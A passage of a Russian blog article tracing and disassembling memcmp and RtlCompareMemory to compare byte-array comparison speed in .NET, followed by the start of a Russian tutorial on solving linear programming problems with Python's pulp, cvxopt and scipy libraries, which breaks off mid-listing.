Для оценки накладных расходов на вызов функции было решено провести трассировку кода от управляемого кода до начала самой функции. Для этого в начале функции была установлена точка останова, и после возврата из Thread.Sleep() начата трассировка. Однако результат первой попытки трассировки оказался неудачным: лог трассировки оказался слишком большим (около 100 тысяч строк), что, вероятно, говорило о том, что была выполнена DllMain(), также существовала вероятность, что был захвачен какой-то код CLR, возможно, код JIT-компилятора. Что именно там выполнялось, я не стал выяснять: это не представляло интереса, т.к. подобный стартовый код выполняется лишь единожды и на общую картину почти не влияет. Чтобы исключить этот код, я перед вызовом Thread.Sleep() вставил ещё один вызов memcmp() и заново произвёл трассировку. В результате чего получил чуть более ста строк.
Часть лога трассировки:
```
main 00480AEA call 0031C19C ESP=0016F368
; часть кода опущена
main clr.628C3B5F call near [eax+14] ESP=0016F248 ; (1)
; часть кода опущена
main 00480B87 mov eax, [ebp-1C] EAX=00313880
main 00480B8A mov eax, [eax+14] EAX=0031391C
main 00480B8D mov ecx, [eax] ECX=75A97975 ; (2)
main 00480B8F push dword ptr [ebp+0C] ESP=0016F328
main 00480B92 push dword ptr [ebp+8] ESP=0016F324
main 00480B95 push edi ESP=0016F320
main 00480B96 push dword ptr [ebp-10] ESP=0016F31C
main 00480B99 mov dword ptr [ebp-2C], 0
main 00480BA0 mov [ebp-28], esp
main 00480BA3 mov dword ptr [ebp-24], 480BB0
main 00480BAA mov byte ptr [ebx+8], 0
main 00480BAE call ecx ESP=0016F318 ; (3)
main msvcrt.memcmp mov edi, edi
-------- Logging stopped
```
Из приведённого лога видно, что, во-первых, по пути к функции происходит как минимум один косвенный вызов, а во-вторых, CLR достаёт адрес конечной функции из какой-то структуры данных, т.е. вызов обладает значительной косвенностью и не оставляет блоку предсказания переходов никакой надежды на выполнение его миссии. Это делает бессмысленным вынос таких функций за пределы управляемого кода в том случае, если они не обрабатывают большие порции данных единовременно и не требуют большого времени вычислений.
##### Оценка основного кода функции
В лучшем, наименее ресурсоёмком, случае функция обнаружит различие в первом же байте и вернёт результат. Именно в этом случае функция затратит наименьшее время. В худшем случае функция сравнит массивы целиком и не обнаружит различий. Очевидно, что во втором случае данные будут сравниваться блоками в цикле.
Поскольку провести дизассемблирование и анализ функции целиком за приемлемое время возможным не представляется, то для оценки выполняемого кода было решено сделать две трассировки, и уже по логу трассировки оценивать оба этих случая. Для анализа лучшего случая, во-первых, была модифицирована функция генерации тестовых данных так, чтобы все массивы отличались, начиная с первого байта, а во-вторых, модифицирована функция, сравнивающая все массивы, так, чтобы в первой же итерации цикла сравнивались разные массивы.
**Модифицированная функция сравнения массивов**
```
private static bool CompareArraysWithPInvokeMethod()
{
var result = true;
for (int i = CountArrays - 1; i >= 0; i--) //Цикл в обратном направлении
for (int j = 0; j < CountArrays; j++)
{
var tmp = ByteArrayCompareWithPInvoke(s_arrays[i], s_arrays[j]);
result = result && tmp;
}
return result;
}
```
**Первая трассировка (лучший случай)**
```
main msvcrt.memcmp mov edi, edi
main msvcrt.75A97977 push ebp ESP=0041EC74
main msvcrt.75A97978 mov ebp, esp EBP=0041EC74
main msvcrt.75A9797A push esi ESP=0041EC70
main msvcrt.75A9797B push edi ESP=0041EC6C
main msvcrt.75A9797C mov edi, [ebp+10] EDI=00080000 ; edi <-- count
main msvcrt.75A9797F mov eax, edi EAX=00080000 ; eax <-- edi
main msvcrt.75A97981 sub eax, 0 ; if (eax == 0) {result <-- 0; return;}
main msvcrt.75A97984 je msvcrt.zeroResult_GoReturn
main msvcrt.75A9798A dec eax EAX=0007FFFF
main msvcrt.75A9798B je msvcrt.75A98C10
main msvcrt.75A97991 dec eax EAX=0007FFFE
main msvcrt.75A97992 je msvcrt.75A9E610
main msvcrt.75A97998 dec eax EAX=0007FFFD
main msvcrt.75A97999 je msvcrt.75A9E5DF
main msvcrt.75A9799F dec eax EAX=0007FFFC
main msvcrt.75A979A0 je msvcrt.75A98BD2
main msvcrt.75A979A6 mov ecx, [ebp+0C] ECX=034C53B8 ; ecx <-- buf1
main msvcrt.75A979A9 mov eax, [ebp+8] EAX=05C41038 ; eax <-- buf2
main msvcrt.75A979AC push ebx ESP=0041EC68
main msvcrt.75A979AD push 20 ESP=0041EC64 ; Очень необычный способ поместить число в регистр
main msvcrt.75A979AF pop edx EDX=00000020, ESP=0041EC68
;--------------------------------Начало цикла сравнения
main msvcrt.75A979B0 cmp edi, edx
main msvcrt.75A979B2 jae msvcrt.75A993A7
main msvcrt.75A993A7 mov esi, [eax] ESI=4241403F
main msvcrt.75A993A9 cmp esi, [ecx]
main msvcrt.75A993AB jne msvcrt.75AA80E7 ; Обнаружено отличие
main msvcrt.75AA80E7 movzx esi, byte ptr [eax] ESI=0000003F
main msvcrt.75AA80EA movzx ebx, byte ptr [ecx] EBX=00000001
main msvcrt.75AA80ED sub esi, ebx ESI=0000003E ; Вычиление разницы между нулевыми байтами DWORD’а
main msvcrt.75AA80EF jne msvcrt.75AA8178
main msvcrt.75AA8178 xor ebx, ebx EBX=00000000 ; Формирование результата в регистре ebx
main msvcrt.75AA817A test esi, esi
main msvcrt.75AA817C setg bl EBX=00000001
main msvcrt.75AA817F lea ebx, [ebx+ebx-1]
main msvcrt.75AA8183 mov esi, ebx ESI=00000001
main msvcrt.75AA8185 test esi, esi
main msvcrt.75AA8187 jne msvcrt.75A98AB1
main msvcrt.75A98AB1 mov eax, esi EAX=00000001
main msvcrt.75A98AB3 jmp msvcrt.75A97A1E
main msvcrt.75A97A1E pop ebx EBX=00852AE0, ESP=0041EC6C
main msvcrt.return1 pop edi ESP=0041EC70, EDI=034C53B8
main msvcrt.75A97A20 pop esi ESP=0041EC74, ESI=034C53B0
main msvcrt.75A97A21 pop ebp ESP=0041EC78, EBP=0041ECC4
main msvcrt.75A97A22 ret ESP=0041EC7C
```
Первое, что здесь бросается в глаза – то, что обработка частных случаев, т.е. случаев, когда параметр count лежит в пределах [0..4], сделана довольно необычно. Остаётся только гадать, является ли это результатом компиляции предложения switch или там действительно была заведена локальная переменная, которая декрементировалась на каждом шаге проверки. Однако отладочная информация утверждает, что это всё-таки был switch. С точки зрения оптимизации это вполне разумное действие, т.к. не выполняется инициализация цикла.
Второе, что сразу же бросилось в глаза – весьма необычный способ занесения числа 0x20 в регистр edx (через стек). Это очень похоже на какой-то артефакт компиляции, и явно говорит о том, что функция писалась не на ассемблере. Человек бы такого не написал, т.к. это бессмысленно: стек находится в памяти, а к ней обращения всегда медленнее, чем к регистрам. Рискну предположить, что это артефакт встраивания (inline).
После обнаружения различия двойных слов в буферах выполняется переход по адресу 0x75AA8178, где происходит загрузка первых байтов из исходных буферов в регистры esi и ebx по адресам, где было обнаружено различие. Затем следует вычисление разницы между этими байтами, и, если не обнаружено различий, то загружаются следующие байты, и так для всего двойного слова. Примечательно, что результат не зависит от номера байта, в котором обнаружено различие. Это видно из того, что код формирования результата для последнего байта в DWORD’е полностью идентичен коду аналогичного назначения для первого байта, приведённому выше в трэйслоге первой трассировки.
**Последовательное сравнение байтов двойного слова**
```
;Address Hex dump Command Comments
75AA80E7 > 0FB630 movzx esi, byte ptr [eax]
75AA80EA . 0FB619 movzx ebx, byte ptr [ecx]
75AA80ED . 2BF3 sub esi, ebx ; Вычиление разницы между нулевыми байтами DWORD’а
75AA80EF .- 0F85 83000000 jne msvcrt.75AA8178 ; Джамп на формирование результата в регистре ebx
75AA80F5 > 0FB670 01 movzx esi, byte ptr [eax+1]
75AA80F9 . 0FB659 01 movzx ebx, byte ptr [ecx+1]
75AA80FD . 2BF3 sub esi, ebx
75AA80FF .- 0F84 1EF9FEFF je msvcrt.75A97A23
; часть кода опущена
75A97A23 > 0FB670 02 movzx esi, byte ptr [eax+2]
75A97A27 . 0FB659 02 movzx ebx, byte ptr [ecx+2]
75A97A2B . 2BF3 sub esi, ebx
75A97A2D .- 74 15 je short msvcrt.75A97A44
; часть кода опущена
75A97A44 > 0FB670 03 movzx esi, byte ptr [eax+3]
75A97A48 . 0FB659 03 movzx ebx, byte ptr [ecx+3]
75A97A4C . 2BF3 sub esi, ebx
75A97A4E .- 0F84 5F190000 je msvcrt.75A993B3 ; Джамп куда-то внутрь цикла
75A97A54 . 33DB xor ebx, ebx ; Формирование результата в регистре ebx
75A97A56 . 85F6 test esi, esi
75A97A58 . 0F9FC3 setg bl
75A97A5B . 8D5C1B FF lea ebx, [ebx+ebx-1]
75A97A5F . 8BF3 mov esi, ebx
75A97A61 .- E9 4D190000 jmp msvcrt.75A993B3
; часть кода опущена
75A993B1 . |33F6 xor esi, esi
75A993B3 > |85F6 test esi, esi
75A993B5 .-|0F85 F6F6FFFF jne msvcrt.75A98AB1
```
Дублирование кода нехорошо, но не страшно, а вот последовательное сравнение байтов – не лучший способ сравнения двойных слов, тем более что номер байта на результат не влияет. Таким образом, уже видно, что этот код несколько странноват, возможно, потому, что исходники ещё более странноваты.
Первый взгляд на лог второй трассировки: за одну итерацию цикла сравниваются 8 двойных слов, и это хорошо: видно, что цикл развёрнут, а с другой стороны, после каждого сравнения идёт абсолютно одинаковый бесполезный код: в регистр esi заносится 0 и анализируется содержимое регистра esi. У меня нет никаких предположений о том, зачем это было сделано, однако есть предположение о том, как такое могло получиться: во-первых, это очень похоже на результат работы какого-то макроса, формировавшего ассемблерный код, а во-вторых, похоже, что майкрософтовский компилятор C не так хорош, как я об этом думал раньше.
**Вторая трассировка (только цикл)**
```
;--------------------------------Начало цикла сравнения
main msvcrt.75A979B0 cmp edi, edx
main msvcrt.75A979B2 jae msvcrt.75A993A7
main msvcrt.75A993A7 mov esi, [eax] ESI=00000000
main msvcrt.75A993A9 cmp esi, [ecx]
main msvcrt.75A993AB jne msvcrt.75AA80E7
main msvcrt.75A993B1 xor esi, esi
main msvcrt.75A993B3 test esi, esi
main msvcrt.75A993B5 jne msvcrt.75A98AB1
main msvcrt.75A993BB mov esi, [eax+4]
main msvcrt.75A993BE cmp esi, [ecx+4]
main msvcrt.75A993C1 jne msvcrt.75AA811F
main msvcrt.75A993C7 xor esi, esi
main msvcrt.75A993C9 test esi, esi
main msvcrt.75A?993CB jne msvcrt.75A98AB1
main msvcrt.75A993D1 mov esi, [eax+8]
main msvcrt.75A993D4 cmp esi, [ecx+8]
main msvcrt.75A993D7 jne msvcrt.75A97A9A
main msvcrt.75A993DD xor esi, esi
main msvcrt.75A993DF test esi, esi
main msvcrt.75A993E1 jne msvcrt.75A98AB1
main msvcrt.75A993E7 mov esi, [eax+0C]
main msvcrt.75A993EA cmp esi, [ecx+0C]
main msvcrt.75A993ED jne msvcrt.75A97B1F
main msvcrt.75A993F3 xor esi, esi
main msvcrt.75A993F5 test esi, esi
main msvcrt.75A993F7 jne msvcrt.75A98AB1
main msvcrt.75A993FD mov esi, [eax+10]
main msvcrt.75A99400 cmp esi, [ecx+10]
main msvcrt.75A99403 jne msvcrt.75A97BA4
main msvcrt.75A99409 xor esi, esi
main msvcrt.75A9940B test esi, esi
main msvcrt.75A9940D jne msvcrt.75A98AB1
main msvcrt.75A99413 mov esi, [eax+14]
main msvcrt.75A99416 cmp esi, [ecx+14]
main msvcrt.75A99419 jne msvcrt.75A97C29
main msvcrt.75A9941F xor esi, esi
main msvcrt.75A99421 test esi, esi
main msvcrt.75A99423 jne msvcrt.75A98AB1
main msvcrt.75A99429 mov esi, [eax+18]
main msvcrt.75A9942C cmp esi, [ecx+18]
main msvcrt.75A9942F jne msvcrt.75AA1172
main msvcrt.75A99435 xor esi, esi
main msvcrt.75A99437 test esi, esi
main msvcrt.75A99439 jne msvcrt.75A98AB1
main msvcrt.75A9943F mov esi, [eax+1C]
main msvcrt.75A99442 cmp esi, [ecx+1C]
main msvcrt.75A99445 jne msvcrt.75A97CFC
main msvcrt.75A9944B xor esi, esi
main msvcrt.75A9944D test esi, esi
main msvcrt.75A9944F jne msvcrt.75A98AB1
main msvcrt.75A99455 add eax, edx EAX=031353B8
main msvcrt.75A99457 add ecx, edx ECX=031353B8
main msvcrt.75A99459 sub edi, edx EDI=0007FFE0
main msvcrt.75A9945B jmp msvcrt.75A979B0
```
Примечательно, что на больших объёмах тестовых данных этот код показал результат на ~10% хуже, чем код, использующий unsafe. Понятно, что основное время при сравнении массивов данных уходит на операции чтения из памяти, которая значительно медленнее, чем кэш процессора и, тем более, регистры. Но столь серьёзная разница, которую дали одни лишь операции с регистрами процессора, говорит о том, что оптимизации компилятора крайне важны. Рискну предположить, что тестирование на более слабом процессоре, например, на процессоре с меньшей тактовой частотой, дало бы значительно более существенную разницу.
### Выводы
1. Если надо быстро сравнивать маленькие (7 байт и меньше) массивы, берём наиболее очевидный способ (побайтное сравнение в цикле), большие — unsafe, а всё остальное от лукавого.
2. Вокруг .Net и CLR ходит много легенд. Людей убедили в том, что JIT-компилятор генерирует хороший, оптимизированный код, что CLR «затачивает» машинный код под конкретный процессор. Это неправда. В теории JIT-компилятор способен творить чудеса оптимизации, но на практике не делает этого. Нужен быстрый код — берите C++-компилятор от Intel, а если нужно вообще максимум из железа выжать, то вооружайтесь руководством по оптимизации от одноимённой фирмы (AMD или Intel) и пишите на ассемблере.
3. Анализ C-RunTime функции показывает, что компилятор не творит чудес, даже если это один из лучших C-компиляторов – MS VC. Цитата из статьи «О реализации метода оптимизации при компиляции» (http://rsdn.ru/article/optimization/optimization.xml): «Только если особый случай не найден, компилятор выполняет реализацию, рассчитанную на самый общий случай и потому потенциально менее эффективную».
### Список литературы
1. [Intel® 64 and IA-32 Architectures Software Developer Manuals](http://www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html).CHAPTER 2. Intel ® 64 Architecture
2. [AMD64 Architecture Programmer’s Manual Volume 1](http://amd-dev.wpengine.netdna-cdn.com/wordpress/media/2012/10/24592_APM_v11.pdf): Application Programming CHAPTER 1 Long Mode
3. [Intel® 64 and IA-32 Architectures Optimization Reference Manual](http://www.intel.com/content/www/us/en/architecture-and-technology/64-ia-32-architectures-optimization-manual.html). CHAPTER 3. Alignment
4. Windows Internals, Sixth Edition, Part 1, CHAPTER 5 Processes, Threads, and Jobs
5. Windows Internals, Sixth Edition, Part 2, CHAPTER 10. Memory Management
6. Intel® 64 and IA-32 Architectures Software Developer Manuals. CHAPTER 17. TIME-STAMP COUNTER
7. [MSDN Magazine 2005, May: Drill Into .NET Framework Internals to See How the CLR Creates Runtime Objects](http://msdn.microsoft.com/en-us/magazine/cc163791.aspx#S6)
8. Joe Duffy, Professional .NET Framework 2.0 (Programmer to Programmer). Chapter 3: Inside the CLR, Just-In-Time (JIT) Compilation
---
### Обновление от 21.03.2014 4:37
* Исправлены некоторые опечатки, например «CRL».
* Исправлен внешний вид ссылок на документацию (только косметические изменения), а так же добавлены ссылки на описания некоторых функций в MSDN.
* Исправлен список литературы.
В прошлый раз я в комментариях выложил некорректные исходники. Дело в том, что в процессе экспериментов, о которых я знесь не писал, или писал частично, исходники оказались не годными для получения результатов из статьи. Например:
* Были закомментированы некоторые вызовы в методе `DoMeasurements()`. `А так же была добавлена строка result.SequenceEqualTime = result.IStructuralEquatableTime = result.PInvokeTime;`
* Метод `PrepareTestData(int p_ArraySize)` генерировал массивы, отличающиеся с первого байта.
* Константы были выставлены таким образом, чтобы стартовый размер массива был 512\*1024, а массиво было всего 64.
* Метод `CompareArraysWithPInvokeMethod()` тоже был изменён так, чтобы первыми сравнивались отличающиеся массивы. Хотя это, теоретически, не должно было сильно сказаться на итоговых данных.
В итоге это привело к тому, что те, кто их скачал и запустил, не смогли повторить результаты из статьи.
Исправленные сорцы я положил [сюда](http://files.rsdn.ru/67254/ConsoleApplication22014_03_21040856.zip)
Пока я занимался исправлениями опечаток и ошибок, [Saladin](https://habrahabr.ru/users/saladin/) поправил и выложил сорцы на [GitHub](https://github.com/Ivan-Abragimovich/Best-Way-to-Compare-Byte-Arrays-in-.Net), так что можно не скачивать, а просто посмотреть.
### Обновление от 25.03.2014 6:37
По многочисленным просьбам я исследовал `RtlCompareMemory()`.
Перед изучением кода функции, я её протестировал, предварительно выставив атрибут [SuppressUnmanagedCodeSecurity](http://msdn.microsoft.com/en-us/library/system.security.suppressunmanagedcodesecurityattribute(v=vs.110).aspx) для функции `memcmp()` и `RtlCompareMemory()`
Любопытно, что системная функция, которую [можно вызывать](http://msdn.microsoft.com/en-us/library/windows/hardware/ff561778(v=vs.85).aspx) и из user-mode и из kernel-mode, оказалась медленнее чем функция из набора CRT.
> Callers of RtlCompareMemory can be running at any IRQL if both blocks of memory are resident.
**Результаты под катом**
```
Размер массива Минимальное время Unsafe MemCMP RtlCompareMemory Простейший метод
1 279 1 : 001,7 1 : 003,2 1 : 008,8 1 : 001,0
1 278 1 : 001,8 1 : 003,2 1 : 008,9 1 : 001,0
2 325 1 : 001,3 1 : 002,9 1 : 006,1 1 : 001,0
4 374 1 : 001,1 1 : 002,6 1 : 009,0 1 : 001,0
7 422 1 : 001,0 1 : 002,5 1 : 007,0 1 : 001,1
12 426 1 : 001,0 1 : 002,5 1 : 006,9 1 : 001,7
19 490 1 : 001,0 1 : 002,2 1 : 006,0 1 : 001,9
32 560 1 : 001,0 1 : 002,0 1 : 005,3 1 : 002,7
54 622 1 : 001,0 1 : 002,0 1 : 005,4 1 : 003,8
89 802 1 : 001,0 1 : 001,7 1 : 004,3 1 : 004,7
147 1092 1 : 001,0 1 : 001,5 1 : 003,7 1 : 004,0
242 1571 1 : 001,0 1 : 001,4 1 : 003,0 1 : 004,2
398 2328 1 : 001,0 1 : 001,4 1 : 002,7 1 : 004,5
657 3664 1 : 001,0 1 : 001,2 1 : 002,2 1 : 004,6
1082 5519 1 : 001,0 1 : 001,2 1 : 002,1 1 : 005,0
1782 8554 1 : 001,0 1 : 001,2 1 : 002,1 1 : 005,3
2936 13520 1 : 001,0 1 : 001,2 1 : 002,0 1 : 005,5
4837 21771 1 : 001,0 1 : 001,2 1 : 002,0 1 : 005,6
7967 35464 1 : 001,0 1 : 001,2 1 : 001,9 1 : 005,7
13124 58073 1 : 001,0 1 : 001,2 1 : 001,9 1 : 005,7
21618 96457 1 : 001,0 1 : 001,2 1 : 001,9 1 : 005,7
35610 167952 1 : 001,0 1 : 001,1 1 : 001,8 1 : 005,4
58656 285282 1 : 001,0 1 : 001,1 1 : 001,8 1 : 005,3
96617 534712 1 : 001,0 1 : 001,1 1 : 001,6 1 : 004,7
159146 924569 1 : 001,0 1 : 001,1 1 : 001,6 1 : 004,5
262143 1520968 1 : 001,0 1 : 001,1 1 : 001,6 1 : 004,5
```
**На скриншоте с окошками дебагера версия библиотеки**
Функция оказалась на удивление маленькой, она вся здесь, под катом. В функции активно используются строковые операции сравнения c префиксом повторения (`cmps*`). Сравнение памяти идёт в прямом порядке. Это определяется флагом DF, который сбрасывается командой `cld`. Размер и простота этой функции, наводят на мысли, что она писалась на ассемблере, хотя в этом я не уверен.
Алгоритм работы строковых операций сравнения исключительно прост, например сравнение DWORD'ов в прямом направлении, задающееся вот такой командой:
```
repe cmpsd ; В цикле по ecx сравниваем DWORD'ы;
```
на ЯВУ можно представить так:
```
while
(
( 0 != ecx )
& ( 0 == Compare( (DWORD) RAM[esi], (DWORD) RAM[edi] ) )
)
{
--ecx;
edi += 4;
esi += 4;
}
```
Почти так же можно представить равнение слов и байтов.
**Дизасм с комментариями под катом**
```
push esi ; сохранить значения регистров в стеке
push edi
cld ; DF <-- 0
mov esi, [esp+0C] ; esi <-- Source1
mov edi, [esp+10] ; edi <-- Source2
mov ecx, [esp+14] ; ecx <-- SIZE_T
shr ecx, 2 ; ecx <-- (ecx >> 2) ( делим счётчик на 4)
jz short smaller_4 ;
repe cmpsd ; В цикле по ecx сравниваем DWORD'ы;
jne short not_zero ; if ( !ZF ) goto not_zero;
smaller_4:
mov ecx, [esp+14] ; ecx <-- SIZE_T
and ecx, 00000003 ; ecx &= 3
jz short return_SIZE_T ; if ( ZF ) goto return_SIZE_T;
repe cmpsb ; в цикле сравниваем байты
jne short found_difference
return_SIZE_T:
mov eax, [esp+14] ; eax <-- SIZE_T
pop edi ; восстанавливаем значения регистров
pop esi
ret 0C ; return eax
not_zero:
sub esi, 4 ; esi -= 4
sub edi, 4 ; edi -= 4
mov ecx, 4 ; ecx -= 4
repe cmpsb ; в цикле сравниваем байты
found_difference:
dec esi ; --esi
sub esi, [esp+0C] ; esi <-- (esi - Source1)
mov eax, esi ; eax <-- esi
pop edi ; восстанавливаем значения регистров
pop esi
ret 0C ; return eax
``` | https://habr.com/ru/post/214841/ | null | ru | null |
# Решение задач линейного программирования с использованием Python
### Зачем решать экстремальные задачи
На практике очень часто возникают задачи, для решения которых используются методы оптимизации. В обычной жизни при множественном выборе, например, подарков к новому году мы интуитивно решаем задачу минимальных затрат при заданном качестве покупок.
К сожалению, не всегда можно положиться на интуицию. Допустим Вы сотрудник коммерческой фирмы и отвечаете за рекламу. Затраты на рекламу в месяц не должны превышать 10 000 денежных единиц (д.е). Минута радиорекламы стоит 5 д.е., а телерекламы 90 д.е. Фирма намерена использовать радиорекламу в три раза чаще чем телерекламу. Практика показывает, что 1 минута телерекламы обеспечивает объём продаж в 30 раз больший чем 1 минута радиорекламы.
Перед Вами стоит задача определить такое распределение средств между двумя упомянутыми видами рекламы при котором объём продаж фирмы будет максимальным. Вы сначала выберите переменные, а именно месячный объём в минутах на телерекламу — x1, а на радиорекламу --x2. Теперь не трудно составить следующую систему:
**30x1+x2** –увеличение продаж от рекламы;
**90x1+5x2 <=10 000** – ограничение средств;
**x2=3x1** – соотношение времён радио и теле рекламы.
Теперь на время забудем о рекламе и постараемся обобщить изложенное. Таких задач, как приваленная, может быть много, но они имеют следующие общие признаки. Обязательным есть наличие линейно зависящей от переменных функции цели, в нашем случае это **30x1+x2**, которая при найденных значениях входящих переменных должна иметь единственное максимальное значение. При этом условие не отрицательности входящих переменных выполняется автоматически. Далее следуют опять-таки линейные равенства и неравенства в количестве, зависящем от наличия условий. Вот мы и сформулировали одну группу задач линейного программирования.
Другую большую группу задач линейного программирования, рассмотрим на примере так называемой транспортной задачи. Допустим Вы сотрудник коммерческой фирмы, которая оказывает транспортные услуги. Есть поставщики товара со складами в разных трёх городах, причём объёмы однородной продукции на этих складах соответственно равны a1, a2, a3. Есть и потребители в других трёх городах которым нужно привести товар от поставщиков в объёмах b1, b2, b3 соответственно. Известны также стоимости доставки с1÷с9 товаров от поставщиков к потребителям, согласно таблице.
Если обозначить через x1…xn количество перевозимого груза, тогда функцией цели будет общая стоимость перевозки:
F(x)=c1\*x1+c2\*x2+c3\*x3+c4\*x4+c5\*x5+c6\*x6+c7\*x7+c8\*x8+c9\*x9.
Условия, которые записываться. в виде неравенств:
x1+x2+x3<=20 – больше чем есть у поставщика не возьмёшь
x4+x5+x6<=45
x7+x8+x9<=30
Условия, которые записываться. в виде равенств:
x1+x4+x7=b1– сколько надо столько и привезём
x2+x5+x8=b2
x3+x6+x9=b3
Тут дополнительно нужны условия не отрицательности переменных x поскольку они по смыслу не отрицательны и ищется минимум F(x). Эти неравенства не приводим.
Теперь Вы знаете как строить функции цели и условия для основных задач линейного программирования. Но когда Вы прочитаете в специальной литературе про геометрический, симплекс, искусственного базиса методы решения указанных задач Вы бросили и рекламу и логистику. Но ведь можно найти простое и понятное решение на Python.
### Выбор библиотек Python для решения типовых задач линейного программирования
Для линейного программирования в Python мне известны три специализированные библиотеки. Рассмотрим решение обеих приведенных задач на каждой из библиотек. Кроме интерфейса и результатов оптимизации будем оценивать и быстродействие. Поскольку нам нужно только качественное отличие в быстродействии воспользуемся для этого самым простым листингом усредняя результаты каждого запуска программ.
Оптимизация с библиотекой pulp [1].
**Листинг программы для решения задачи «О рекламе»**
```
from pulp import *
import time
start = time.time()
x1 = pulp.LpVariable("x1", lowBound=0)
x2 = pulp.LpVariable("x2", lowBound=0)
problem = pulp.LpProblem('0',pulp.LpMaximize)
problem += 30*x1 +x2, "Функция цели"
problem += 90*x1+ 5*x2 <= 10000, "1"
problem +=x2 ==3*x1, "2"
problem.solve()
print ("Результат:")
for variable in problem.variables():
print (variable.name, "=", variable.varValue)
print ("Прибыль:")
print (value(problem.objective))
stop = time.time()
print ("Время :")
print(stop - start)
```
В лис тенге программы уже знакомые нам соотношения для максимальной прибыли от рекламы 30\*x1+x2, условия ограничения затрат, помеченные для сравнения «1». Мы не забыли и об отношении времён использования радио и теле рекламы, помеченные в лис тенге как «2». Назначение других операторов очевидны, Подробности можно прочесть в [1].
Результаты решения задачи оптимизации с использованием *pulp*.
**Результат:**
x1 = 95.238095
x2 = 285.71429
**Прибыль:**
3142.85714
**Время:**
0.10001182556152344
В итоге мы получили значения времён рекламы, при которых ожидаемая прибыль от её использования будет максимальна.
Оптимизация с библиотекой *cvxopt* [2].
**Листинг программы для решения задачи «О рекламе».**
```
from cvxopt.modeling import variable, op
import time
start = time.time()
x = variable(2, 'x')
z=-(30*x[0] +1*x[1])#Функция цели
mass1 = (90*x[0] + 5*x[1] <= 10000) #"1"
mass2 = (3*x[0] -x[1] == 0) # "2"
x_non_negative = (x >= 0) #"3"
problem =op(z,[mass1,mass2,x_non_negative])
problem.solve(solver='glpk')
problem.status
print ("Прибыль:")
print(abs(problem.objective.value()[0]))
print ("Результат:")
print(x.value)
stop = time.time()
print ("Время :")
print(stop - start)
```
По структуре программа аналогична предыдущей, но имеются два существенных отличия. Во-первых, библиотека cvxopt настроена на поиск минимума функции цели, а не на максимум. Поэтому целевая функция взята с отрицательным знаком минус -(30\*x[0] +1\*x[1]). Полученное вследствие этого отрицательное её значение выведено по абсолютной величине. Во-вторых, введено ограничение на не отрицательность переменных- non\_negative. Повлияло ли это на результат мы сейчас у видим.
Результаты решения задачи оптимизации с использованием cvxopt.
**Прибыль:**
3142.857142857143
**Результат**:
[ 9.52e+01]
[ 2.86e+02]
**Время:**
0.041656494140625
Никаких существенных изменений в сравнении с библиотекой pulp не произошло за исключением время работы программы.
Оптимизация с библиотекой *scipy. optimiz*e [3].
**Листинг программы для решения задачи «О рекламе».**
```
from scipy.optimize import linprog
import time
start = time.time()
c = [-30,-1] #Функция цели
A_ub = [[90,5]] #'1'
b_ub = [10000]#'1'
A_eq = [[3,-1]] #'2'
b_eq = [0] #'2'
print (linprog(c, A_ub, b_ub, A_eq, b_eq))
stop = time.time()
print ("Время :")
print(stop - start)
```
Достаточно беглого взгляда на листинг, чтобы понять, что мы имеем дело с принципиально иным подходом к вводу данных. Хотя приведенные в листингах цифры помогают прояснить принцип организации данных, путём сравнения, всё же приведу пояснения. Список c = [-30,-1] содержит коэффициенты функции цели с обратным знаком, поскольку linprog () ищет минимум. Матрица A\_ub содержит коэффициенты при переменных для условий в виде неравенств. Для нашей задачи это 90x1+5x2 <=10000. Значения в правой части неравнства-1000, помещается в список b\_ub. Матрица A\_eq содержит коэффициенты при переменных для условий в виде равенств. Для нашей задачи **3x1-x2=0**, причём ноль в правой части, помещается в список b\_eq.
Результаты решения задачи оптимизации с использованием scipy. optimize.
Fun: -3142.8571428571431
message: 'Optimization terminated successfully.'
nit: 2
slack: array([ 0.])
status: 0
success: True
x: array ([ 95.23809524, 285.71428571])
**Время:**
0.03020191192626953
Здесь более подробно выведены результаты расчётов, но сами результаты те же что и в предыдущих библиотеках.
По результатам решения задачи «О рекламе» можно сделать промежуточный вывод, о том что использование библиотеки scipy. optimize обеспечивает большее быстродействие и рациональную форму исходных данных. Однако без результатов решения транспортной задачи окончательный вывод делать рано.
Привожу решение транспортной задачи, но уже без подробных пояснений, поскольку основные этапы решения уже подробно описаны.
Оптимизация с библиотекой *pulp*.
**Листинг программы для решения транспортной задачи.**
```
from pulp import *
import time
start = time.time()
x1 = pulp.LpVariable("x1", lowBound=0)
x2 = pulp.LpVariable("x2", lowBound=0)
x3 = pulp.LpVariable("x3", lowBound=0)
x4 = pulp.LpVariable("x4", lowBound=0)
x5 = pulp.LpVariable("x5", lowBound=0)
x6 = pulp.LpVariable("x6", lowBound=0)
x7 = pulp.LpVariable("x7", lowBound=0)
x8 = pulp.LpVariable("x8", lowBound=0)
x9 = pulp.LpVariable("x9", lowBound=0)
problem = pulp.LpProblem('0',pulp.LpMaximize)
problem += -7*x1 - 3*x2 - 6* x3 - 4*x4 - 8*x5 -2* x6-1*x7- 5*x8-9* x9, "Функция цели"
problem +=x1 + x2 +x3<= 74,"1"
problem +=x4 + x5 +x6 <= 40, "2"
problem +=x7 + x8+ x9 <= 36, "3"
problem +=x1+ x4+ x7 == 20, "4"
problem +=x2+x5+ x8 == 45, "5"
problem +=x3 + x6+x9 == 30, "6"
problem.solve()
print ("Результат:")
for variable in problem.variables():
print (variable.name, "=", variable.varValue)
print ("Стоимость доставки:")
print (abs(value(problem.objective)))
stop = time.time()
print ("Время :")
print(stop - start)
```
Решение транспортной задачи требует минимизации затрат по доставке, поэтому функция цели вводиться со знаком минус, а выводиться по абсолютной величине.
Результаты решения транспортной задачи с использованием pulp.
**Результат:**
x1 = 0.0
x2 = 45.0
x3 = 0.0
x4 = 0.0
x5 = 0.0
x6 = 30.0
x7 = 20.0
x8 = 0.0
x9 = 0.0
**Стоимость доставки:**
215.0
**Время:**
0.19006609916687012
Оптимизация с библиотекой *cvxopt*.
**Листинг программы для решения транспортной задачи.**
```
from cvxopt.modeling import variable, op
import time
start = time.time()
x = variable(9, 'x')
z=(7*x[0] + 3*x[1] +6* x[2] +4*x[3] + 8*x[4] +2* x[5]+x[6] + 5*x[7] +9* x[8])
mass1 = (x[0] + x[1] +x[2] <= 74)
mass2 = (x[3] + x[4] +x[5] <= 40)
mass3 = (x[6] + x[7] + x[8] <= 36)
mass4 = (x[0] + x[3] + x[6] == 20)
mass5 = (x[1] +x[4] + x[7] == 45)
mass6 = (x[2] + x[5] + x[8] == 30)
x_non_negative = (x >= 0)
problem =op(z,[mass1,mass2,mass3,mass4 ,mass5,mass6, x_non_negative])
